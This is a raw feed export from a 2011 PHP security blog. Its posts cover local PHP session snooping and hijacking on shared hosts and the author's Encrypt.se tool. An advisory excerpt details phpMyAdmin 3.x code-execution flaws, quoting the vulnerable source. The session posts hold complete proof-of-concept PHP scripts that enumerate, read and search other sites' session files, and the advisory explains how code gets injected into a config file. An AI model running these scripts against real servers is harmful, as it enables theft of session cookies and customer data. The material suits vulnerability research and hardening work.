&lt;a style=&quot;color:#000000;&quot; href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/9016614003994323109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html#comment-form' title='96 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/9016614003994323109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/9016614003994323109'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html' title='Local Session Poisoning in PHP Part 1: The Basics of Exploitation and How to Secure a Server'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>96</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-2698496326347734635</id><published>2011-08-10T12:20:00.004+02:00</published><updated>2011-09-15T11:54:37.413+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="local"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="php sessions"/><category scheme="http://www.blogger.com/atom/ns#" term="POC"/><title type='text'>Local Session Snooping in PHP</title><content type='html'>Local session snooping is not as much a security issue as a way of gathering information from an already compromised web application. Unless it is a badly configured shared host where an attacker might gather otherwise unobtainable information. It&#39;s basically about extracting all the information a web application stored in the super global $_SESSION variable.&lt;br /&gt;
&lt;br /&gt;
Nevertheless, it is easy. The one thing needed is a session id (the value of the PHPSESSID cookie). If the host uses PHP&#39;s default session handler, these could easily be enumerated as in the POC further down in this post.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
Here is the most basic example of local session snooping.
&lt;code class=&quot;brush:php&quot;&gt;
 session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
 session_start();
 var_dump($_SESSION);
 session_write_close();
&lt;/code&gt;
&lt;ol&gt;
&lt;li&gt;Set the session id you would like to snoop on.&lt;/li&gt;
&lt;li&gt;Start the session.&lt;/li&gt;
&lt;li&gt;Dump all of the info contained within the $_SESSION variable.&lt;/li&gt;
&lt;li&gt;Finally, close the session.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;A dangerous scenario&lt;/h2&gt;
We have all seen these multistage checkouts in different webshops. You fill in your address, click next, fill in your preferred shipping method, click next, fill in your credit card details and so on. There is also often a back button and the visitor can go back an fourth without loosing the values previously entered. The easiest way to code such a feature is to store all form values in the $_SESSION array.&lt;br /&gt;
&lt;br /&gt;
That is information you do not want to have lying around in your session storage. What is even more troublesome is that these session variables are rarely cleared when finished doing their job. They are retained until the server decides the session is to old and wipes it. This could take hours or even days on a less active host.

&lt;h2&gt;The attacker&lt;/h2&gt;
Consider a remote attacker who broke into a webshop or another web application that contains potentially valuable data. The attacker would be able to snoop thrue every active or lingering session. The attacker might even setup a automatic script that does it hourly.&lt;br /&gt;
&lt;br /&gt;
The worst case scenario would be a badly configured shared host where the attacker are able to snoop on every session belonging to all of the hosted websites.

&lt;h2&gt;POC&lt;/h2&gt;
Here is a short script to find and search every accessible session for a given string.
&lt;code class=&quot;brush:php&quot;&gt;
&amp;lt;?php
// http://ha.xxor.se/2011/08/local-session-snooping-in-php.html

// A string to search for in every session. 
$search_for = &#39;test&#39;;

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
if(php_sapi_name()!==&#39;cli&#39;)echo &quot;&amp;lt;pre&amp;gt;\n&quot;;
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get(&#39;session.save_handler&#39;);
echo &quot;[i] Session save handler: $sessmod\n&quot;;
if($sessmod !== &#39;files&#39;){
 echo &quot;[!] Possible Error: session.save_handler is set to &#39;$sessmod&#39; instead of &#39;files&#39;. Trying anyway.\n&quot;;
}
 
if(empty($sesspath)){
 $sesspath = ini_get(&#39;session.save_path&#39;);
 if(empty($sesspath)){
  if(function_exists(&#39;sys_get_temp_dir&#39;)){
   $sesspath = sys_get_temp_dir();
  }else{
   die(&#39;Error:Cant fins session save path. Try setting it manualy.&#39;);
  }
 }
}
$sesspath = array_pop(explode(&#39;;&#39;,$sesspath));
echo &quot;[i] Session save path: $sesspath\n&quot;;
// Enumerate sessions
$sessions = array();
clearstatcache();
if(!findSessIn($sesspath)){
 die(&quot;[!] Error: Cannot open the session save path.\n&quot;);
}
 
function findSessIn($dir){
 global $sessions;
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
   //echo &quot;$path \n&quot;;
  if (substr($file, 0, 5) === &#39;sess_&#39; &amp;amp;&amp;amp; is_readable($path)){
   $sessions[] = substr($file, 5);
  }elseif(strlen($file) === 1 &amp;amp;&amp;amp; is_dir($path) &amp;amp;&amp;amp; $file !== &#39;.&#39;){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}

// Search
echo &quot;[i] Searching for \&quot;$search_for\&quot;...\n&quot;;
foreach($sessions as $session){
 session_id($session);
 session_start();
 if(stristr(serialize($_SESSION), $search_for) !== FALSE) {
  echo &quot;[+] somehing found in $session.  Serialized data: &quot;.serialize($_SESSION).&quot;\n&quot;;
 }else{
  echo &quot;[-] nothing found in  $session.\n&quot;;
 }
 session_write_close();
}
?&amp;gt;
&lt;/code&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/2698496326347734635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/08/local-session-snooping-in-php.html#comment-form' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2698496326347734635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2698496326347734635'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/08/local-session-snooping-in-php.html' title='Local Session Snooping in PHP'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-5027425450940099353</id><published>2011-08-04T16:55:00.005+02:00</published><updated>2011-09-15T11:54:50.088+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="local"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="php sessions"/><category scheme="http://www.blogger.com/atom/ns#" term="POC"/><title type='text'>Local Session Hijacking in PHP</title><content type='html'>Recently I discovered that the shared hosting provider I sometimes use is susceptible to this age-old technique that everyone really should know about by now.&lt;br /&gt;
&lt;br /&gt;
PHP&#39;s default session handler stores session data in files. And by default these files are placed in /tmp. In a shared enviroment session files should never be placed in a directory that can be read by a malicious local user like the world readable /tmp directory.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;br /&gt;
Even if the session files might be protected from being read or written by a malicious user, their name leaks valuable information. The name of a typical session file name reads &quot;sess_0m9gnkgenne66kvs3eklhvucjmdpchto&quot;. All the numbers and letters following &quot;sess_&quot; are those of the PHPSESSID cookie which that session is tied to. Any local user who can enumerate the files in this directory can therefor hijack the cookies belonging to the visitors of all the websites located in the shared host. One of them might belong to an admin at one of the local websites.

&lt;h2&gt;POC&lt;/h2&gt;
Here is a short script to enumerate session files and their respective local owner.
&lt;code class=&quot;brush:php&quot;&gt;
&amp;lt;?php
// http://ha.xxor.se/2011/08/local-session-hijacking.html

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
if(php_sapi_name()!==&#39;cli&#39;)echo &quot;&amp;lt;pre&gt;\n&quot;;
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get(&#39;session.save_handler&#39;);
echo &quot;[i] Session save handler: $sessmod\n&quot;;
if($sessmod !== &#39;files&#39;){
 echo &quot;[!] Possible Error: session.save_handler is set to &#39;$sessmod&#39; instead of &#39;files&#39;. Trying anyway.\n&quot;;
}

if(empty($sesspath)){
 $sesspath = ini_get(&#39;session.save_path&#39;);
 if(empty($sesspath)){
  if(function_exists(&#39;sys_get_temp_dir&#39;)){
   $sesspath = sys_get_temp_dir();
  }else{
   die(&#39;Error:Cant fins session save path. Try setting it manualy.&#39;);
  }
 }
}
$sesspath = array_pop(explode(&#39;;&#39;,$sesspath));
echo &quot;[i] Session save path: $sesspath\n&quot;;
// Enumerate sessions and their owner.
clearstatcache();
echo &quot;\nOwner           File\n&quot;;
if(!findSessIn($sesspath)){
 die(&quot;[!] Error: Cannot open the session save path.\n&quot;);
}

function findSessIn($dir){
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
  if (substr($file, 0, 5) === &#39;sess_&#39;){
   $owner = fileowner($path);
   if(function_exists(&#39;posix_getpwuid&#39;)){
    $owner = posix_getpwuid($owner);
    $owner = $owner[&#39;name&#39;];
   }
   if(strlen($owner) &amp;lt; 16)$owner = substr($owner.str_repeat(&#39; &#39;,15), 0, 15);
   echo &quot;$owner $path\n&quot;;
  }elseif(strlen($file) === 1 &amp;amp;&amp;amp; is_dir($path) &amp;amp;&amp;amp; $file !== &#39;.&#39;){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}
?&gt;
&lt;/code&gt;
To find out which website corresponds to which local user, simply visit the website, grab your cookie and then search for its value and the local user in the list.&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/5027425450940099353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/08/local-session-hijacking.html#comment-form' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5027425450940099353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5027425450940099353'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/08/local-session-hijacking.html' title='Local Session Hijacking in PHP'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-5168695220506448326</id><published>2011-07-29T18:17:00.005+02:00</published><updated>2011-09-15T11:58:25.405+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="encrypt.se"/><category scheme="http://www.blogger.com/atom/ns#" term="free"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="projects"/><title type='text'>Encrypt.se New Feature: Key exchange</title><content type='html'>&lt;a href=&quot;https://encrypt.se&quot;&gt;Encrypt&lt;/a&gt;.se is a small tool that helps anyone to easily send encrypted messages. There is no registration, no cookies, no hassle.&lt;br /&gt;
Read more about it in this previous post: &lt;a href=&quot;http://ha.xxor.se/2011/07/encryptse-beta-open-for-public.html&quot;&gt;http://ha.xxor.se/2011/07/encryptse-beta-open-for-public.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The Key Exchange feature enables users of &lt;a href=&quot;https://encrypt.se&quot;&gt;Encrypt&lt;/a&gt;.se to communicate their secret crypto key to their friends over the phone, even if someone might be listening.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;br /&gt;
I&#39;ve been working hard the last week to get this feature up and running. Currently there&#39;s only a PHP implementation, witch means that you will have to rely on our server to do some of the encryption and decryption. A JavaScript implementation is on its way.

&lt;h2&gt;How it works&lt;/h2&gt;
To securely transmit a secret key over an insecure channel we utilize a well known method. This is how it works.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
--------Sender--------           ------Recipient------

 (Step 1)
Input a secret key and
apply a first level of
encryption to the key.
Send the encrypted key            (Step 2)
to the recipient.      --------&gt; The recipient applies
                                 a second level of
                                 encryption and
 (Step 3)                        transmits the double-
The sender now removes &lt;-------- encrypted key back.
(decrypts) the first
level of encryption                       
and transfers the
encrypted key back to             (Step 4)
the recipient.         --------&gt; The recipient can now 
                                 remove (decrypt) the
                                 second level of
                                 encryption and read
                                 the secret key.

--------Sender--------           ------Recipient------
&lt;/pre&gt;

&lt;h2&gt;Weakness&lt;/h2&gt;
This method is of course susceptible to a MITM attack. But by using the phone or any other medium where other parts identity can be validated, for example by recognizing their voice, it is safe.</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/5168695220506448326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/07/encryptse-new-feature-key-exchange.html#comment-form' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5168695220506448326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5168695220506448326'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/07/encryptse-new-feature-key-exchange.html' title='Encrypt.se New Feature: Key exchange'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-7486427230964373030</id><published>2011-07-09T02:01:00.003+02:00</published><updated>2011-07-25T17:25:09.769+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="phpMyAdmin"/><title type='text'>phpMyAdmin 3.x Swekey RCI Exploit</title><content type='html'>Someone else submitted a working python exploit to exploit-db. It&#39;s already out there so I might as well publish my original exploit written in PHP.&lt;br /&gt;
2011-07-20 - Fixed some bugs in the exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.xxor.se/uploads/phpmyadmin_swekey_rci_exploit.php&quot;&gt;Download here&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/7486427230964373030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-swekey-rci-exploit.html#comment-form' title='28 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/7486427230964373030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/7486427230964373030'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-swekey-rci-exploit.html' title='phpMyAdmin 3.x Swekey RCI Exploit'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>28</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-3617487476378820617</id><published>2011-07-08T22:51:00.006+02:00</published><updated>2011-09-15T11:58:42.508+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="encrypt.se"/><category scheme="http://www.blogger.com/atom/ns#" term="free"/><category scheme="http://www.blogger.com/atom/ns#" term="projects"/><title type='text'>Encrypt.se Beta open for the public</title><content type='html'>Encrypt is a small project of mine with it&#39;s first stable beta recently opened up for public access. The goal has been to create an encryption tool for shorter messages, which is as secure as possible, yet simple to use.&lt;br /&gt; 
   &lt;br /&gt; 
   &lt;a href=&quot;https://encrypt.se&quot; target=&quot;_new&quot;&gt;Click here to visit Encrypt.se&lt;/a&gt; 
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;h2&gt;Basic usage&lt;/h2&gt; 
Regardless of your computer skills, the encryption tool is simple to use. The basic usage is described below, in three steps:&lt;br /&gt; 
   &lt;ol&gt; 
    &lt;li&gt;The sender encrypts a small message using a key phrase and receives a short URL/link.&lt;/li&gt; 
    &lt;li&gt;The sender transmits this URL to the recipient.&lt;/li&gt; 
    &lt;li&gt;The recipient visits the URL and decrypts the message with the key phrase.&lt;/li&gt; 
   &lt;/ol&gt; 
   &lt;h2&gt;Main Features&lt;/h2&gt; 
   &lt;ul&gt; 
    &lt;li&gt; 
     Strong encryption&lt;br /&gt; 
     256-bit AES in CTR mode.
    &lt;/li&gt; 
    &lt;li&gt; 
     Supports smartphones&lt;br /&gt; 
     Encrypt.se uses a compact scaling design that is pleasant to browse on both smartphones as well as regular monitors.
    &lt;/li&gt; 
    &lt;li&gt; 
     Local encryption&lt;br /&gt; 
     The encryption and decryption is done locally in the browser using JavaScript. Your unencrypted message never leaves your computer, and therefor can&#39;t even be read by me.
    &lt;/li&gt; 
    &lt;li&gt; 
     Supporting non-JavaScript users&lt;br /&gt; 
     If JavaScript is disabled the application transmits the message over an SSL encrypted connection to my server that encrypts it.
    &lt;/li&gt; 
    &lt;li&gt; 
     Unicode support&lt;br /&gt; 
     Encrypt.se addresses everyone, and therefor supports Unicode to allow the use of foreign characters.
    &lt;/li&gt; 
   &lt;/ul&gt; 

   &lt;h2&gt;Planned Features&lt;/h2&gt; 
   &lt;ul&gt; 
    &lt;li&gt; 
     Key exchange&lt;br /&gt; 
     This is a feature under development. It ensures that no one can get a hold of your key phrase, even sent over an insecure channel where someone may be monitoring your communications.
    &lt;/li&gt; 
    &lt;li&gt; 
     Encrypted Chat&lt;br /&gt; 
     This is a feature under development.
    &lt;/li&gt; 
   &lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/3617487476378820617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/07/encryptse-beta-open-for-public.html#comment-form' title='35 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/3617487476378820617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/3617487476378820617'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/07/encryptse-beta-open-for-public.html' title='Encrypt.se Beta open for the public'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>35</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-5049351977435419252</id><published>2011-07-08T16:32:00.010+02:00</published><updated>2011-07-25T17:26:22.144+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="phpMyAdmin"/><category scheme="http://www.blogger.com/atom/ns#" term="POC"/><title type='text'>phpMyAdmin 3.x preg_replace RCE POC</title><content type='html'>I&#39;m flooded with requests for a POC and &lt;a href=&quot;http://0x6a616d6573.blogspot.com/2011/07/phpmyadmin-fud.html&quot;&gt;many doubt that these vulnerabilities are exploitable&lt;/a&gt;. And since this vulnerability is rather technically interesting I believe many could learn from it.&lt;br /&gt;
&lt;br /&gt;
The POC uses the session manipulation vulnerability in combination with the remote code execution in preg_replace as detailed in &lt;a href=&quot;http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html&quot;&gt;my last blogpost&lt;/a&gt;. It will only confirm if the instance is exploitable or not and you need to have valid credentials to the database. Use responsibly.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.xxor.se/uploads/phpmyadmin_preg_replace_rce_poc.php&quot;&gt;Download here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Edit:As 0x6a616d6573 reminded me of, blogger removes &quot;&amp;#x25;00&quot; if not carefully encoded. The code posted where messed up due to this. (The downloadable file where still fine)&lt;br /&gt;
Now it&#39;s fixed. I also added the &quot;//&quot; as suggested.</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/5049351977435419252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html#comment-form' title='53 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5049351977435419252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5049351977435419252'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html' title='phpMyAdmin 3.x preg_replace RCE POC'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>53</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-5097077669546821767</id><published>2011-07-07T19:49:00.014+02:00</published><updated>2011-08-09T17:02:28.386+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="phpMyAdmin"/><title type='text'>phpMyAdmin 3.x Multiple Remote Code Executions</title><content type='html'>This post details a few interesting vulnerabilities I found while relaxing and reading the sourcecode of phpMyAdmin. &lt;a href=&quot;http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt&quot;&gt;My original advisory can be found here.&lt;/a&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;br /&gt;
If you would like me to audit your PHP project, check out Xxor&#39;s &lt;a href=&quot;http://www.xxor.se/services/php-security-audit.php&quot;&gt;PHP security auditing service&lt;/a&gt;.
http://www.xxor.se/services/php-security-audit.php


&lt;h2&gt;The first vulnerability&lt;/h2&gt;
File: libraries/auth/swekey/swekey.auth.lib.php&lt;br /&gt;
Lines: 266-276&lt;br /&gt;
Patched in: 3.3.10.2 and 3.4.3.1&lt;br /&gt;
Type: Variable Manipulation&lt;br /&gt;
Assigned CVE id: &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2505&quot;&gt;CVE-2011-2505&lt;/a&gt;&lt;br /&gt;
PMA Announcement-ID: &lt;a href=&quot;http://www.phpmyadmin.net/home_page/security/PMASA-2011-5.php&quot;&gt;PMASA-2011-5&lt;/a&gt;
&lt;code class=&quot;brush:php;first-line:266;&quot;&gt;
if (strstr($_SERVER[&#39;QUERY_STRING&#39;],&#39;session_to_unset&#39;) != false)
{
    parse_str($_SERVER[&#39;QUERY_STRING&#39;]);
    session_write_close();
    session_id($session_to_unset);
    session_start();
    $_SESSION = array();
    session_write_close();
    session_destroy();
    exit;
}
&lt;/code&gt;
Notice the call to &lt;a href=&quot;http://php.net/manual/en/function.parse-str.php&quot;&gt;parse_str&lt;/a&gt; on line 268 that passes the query string as it&#39;s first argument. It&#39;s missing a second argument. This means that what ever parameters and values are present in the query string will be used as variables in the current namespace. But since the code path that executes the call to parse_str inevitably leads to a call to exit there ain&#39;t much to exploit. However the session variables persists between requests. Thus giving us full control of the $_SESSION array.&lt;br /&gt;
&lt;br /&gt;
When reading the code, you might believe that the session gets destroyed. But the call to session_write_close on line 269 saves the modified session, and the call to session_id on line 270 switches session. This could be confuseing when testing in a browser because the call to session_start will send a new cookie instructing the browser to forget about the modified session.&lt;br /&gt;
&lt;br /&gt;
From here on there are numerous XSS and SQL injection vulnerabilities open for attack. But we&#39;ll focus on three far more serious vulnerabilities.


&lt;h2&gt;The second vulnerability&lt;/h2&gt;
Patched in: 3.3.10.2 and 3.4.3.1&lt;br /&gt;
Type: Remote Static Code Injection&lt;br /&gt;
Assigned CVE id: &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2506&quot;&gt;CVE-2011-2506&lt;/a&gt;&lt;br /&gt;
PMA Announcement-ID: &lt;a href=&quot;http://www.phpmyadmin.net/home_page/security/PMASA-2011-6.php&quot;&gt;PMASA-2011-6&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
File: setup/lib/ConfigGenerator.class.php&lt;br /&gt;
Lines: 16-78&lt;br /&gt;
&lt;code class=&quot;brush:php;first-line:16;&quot;&gt;
    /**
     * Creates config file
     *
     * @return string
     */
    public static function getConfigFile()
    {
        $cf = ConfigFile::getInstance();

        $crlf = (isset($_SESSION[&#39;eol&#39;]) &amp;&amp; $_SESSION[&#39;eol&#39;] == &#39;win&#39;) ? &quot;\r\n&quot; : &quot;\n&quot;;
        $c = $cf-&gt;getConfig();

        // header
        $ret = &#39;&lt;?php&#39; . $crlf
            . &#39;/*&#39; . $crlf
            . &#39; * Generated configuration file&#39; . $crlf
            . &#39; * Generated by: phpMyAdmin &#39;
                    . $GLOBALS[&#39;PMA_Config&#39;]-&gt;get(&#39;PMA_VERSION&#39;)
                    . &#39; setup script&#39; . $crlf
            . &#39; * Date: &#39; . date(DATE_RFC1123) . $crlf
            . &#39; */&#39; . $crlf . $crlf;

        // servers
        if ($cf-&gt;getServerCount() &gt; 0) {
            $ret .= &quot;/* Servers configuration */$crlf\$i = 0;&quot; . $crlf . $crlf;
            foreach ($c[&#39;Servers&#39;] as $id =&gt; $server) {
                $ret .= &#39;/* Server: &#39; . strtr($cf-&gt;getServerName($id), &#39;*/&#39;, &#39;-&#39;) . &quot; [$id] */&quot; . $crlf
                    . &#39;$i++;&#39; . $crlf;
                foreach ($server as $k =&gt; $v) {
                    $k = preg_replace(&#39;/[^A-Za-z0-9_]/&#39;, &#39;_&#39;, $k);
                    $ret .= &quot;\$cfg[&#39;Servers&#39;][\$i][&#39;$k&#39;] = &quot;
                        . (is_array($v) &amp;&amp; self::_isZeroBasedArray($v)
                                ? self::_exportZeroBasedArray($v, $crlf)
                                : var_export($v, true))
                        . &#39;;&#39; . $crlf;
                }
                $ret .= $crlf;
            }
            $ret .= &#39;/* End of servers configuration */&#39; . $crlf . $crlf;
        }
        unset($c[&#39;Servers&#39;]);

        // other settings
        $persistKeys = $cf-&gt;getPersistKeysMap();

        foreach ($c as $k =&gt; $v) {
            $k = preg_replace(&#39;/[^A-Za-z0-9_]/&#39;, &#39;_&#39;, $k);
            $ret .= self::_getVarExport($k, $v, $crlf);
            if (isset($persistKeys[$k])) {
                unset($persistKeys[$k]);
            }
        }
        // keep 1d array keys which are present in $persist_keys (config.values.php)
        foreach (array_keys($persistKeys) as $k) {
            if (strpos($k, &#39;/&#39;) === false) {
                $k = preg_replace(&#39;/[^A-Za-z0-9_]/&#39;, &#39;_&#39;, $k);
                $ret .= self::_getVarExport($k, $cf-&gt;getDefault($k), $crlf);
            }
        }
        $ret .= &#39;?&gt;&#39;;

        return $ret;
    }
&lt;/code&gt;
On line 42 in this file a comment is created to show some additional information in a config file. We can see that the output of the call to $cf-&amp;gt;getServerName($id) is sanitized to prevent user input from closing the comment. However $id, the key of the $c[&#39;Servers&#39;] array, is not. So if we could rename a key in this array we could close the comment and inject arbitrary PHP code.&lt;br /&gt;
On line 26 the $c array is created from a call to $cf-&gt;getConfig().&lt;br /&gt;
&lt;br /&gt;
File: libraries/config/ConfigFile.class.php&lt;br /&gt;
Lines: 469-482&lt;br /&gt;
&lt;code class=&quot;brush:php;first-line:469;&quot;&gt;
    /**
     * Returns configuration array (full, multidimensional format)
     *
     * @return array
     */
    public function getConfig()
    {
        $c = $_SESSION[$this-&gt;id];
        foreach ($this-&gt;cfgUpdateReadMapping as $map_to =&gt; $map_from) {
            PMA_array_write($map_to, $c, PMA_array_read($map_from, $c));
            PMA_array_remove($map_from, $c);
        }
        return $c;
    }
&lt;/code&gt;
Bingo! The $c array is derived from the $_SESSION array hence we could have full control of its contents by utilizing the first vulnerability. Now we can inject arbitrary PHP code that will be saved into the file config/config.inc.php. Then we would just browse to this file and the webserver would executed it.&lt;br /&gt;
&lt;br /&gt;

This vulnerability requires one specific condition. The config directory must have been left in place after the initial configuration. This is something advised against and hence a majority of servers wont be susceptible to this attack. Therefor we&#39;ll check out a third and a fourth vulnerability.

&lt;h2&gt;The third vulnerability&lt;/h2&gt;
Patched in: 3.3.10.2 and 3.4.3.1&lt;br /&gt;
Type: Authenticated Remote Code Execution&lt;br /&gt;
Assigned CVE id: &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2507&quot;&gt;CVE-2011-2507&lt;/a&gt;&lt;br /&gt;
PMA Announcement-ID: &lt;a href=&quot;http://www.phpmyadmin.net/home_page/security/PMASA-2011-6.php&quot;&gt;PMASA-2011-7&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
File: server_synchronize.php&lt;br /&gt;
Line: 466&lt;br /&gt;
&lt;code class=&quot;brush:php;first-line:466;&quot;&gt;
    $trg_db = $_SESSION[&#39;trg_db&#39;];
&lt;/code&gt;
Line: 477
&lt;code class=&quot;brush:php;first-line:477;&quot;&gt;
    $uncommon_tables = $_SESSION[&#39;uncommon_tables&#39;];
&lt;/code&gt;
Line: 674
&lt;code class=&quot;brush:php;first-line:674;&quot;&gt;
        PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, $uncommon_tables, $uncommon_table_structure_diff[$s], $uncommon_tables_fields, false);
&lt;/code&gt;
File: libraries/server_synchronize.lib.php&lt;br /&gt;
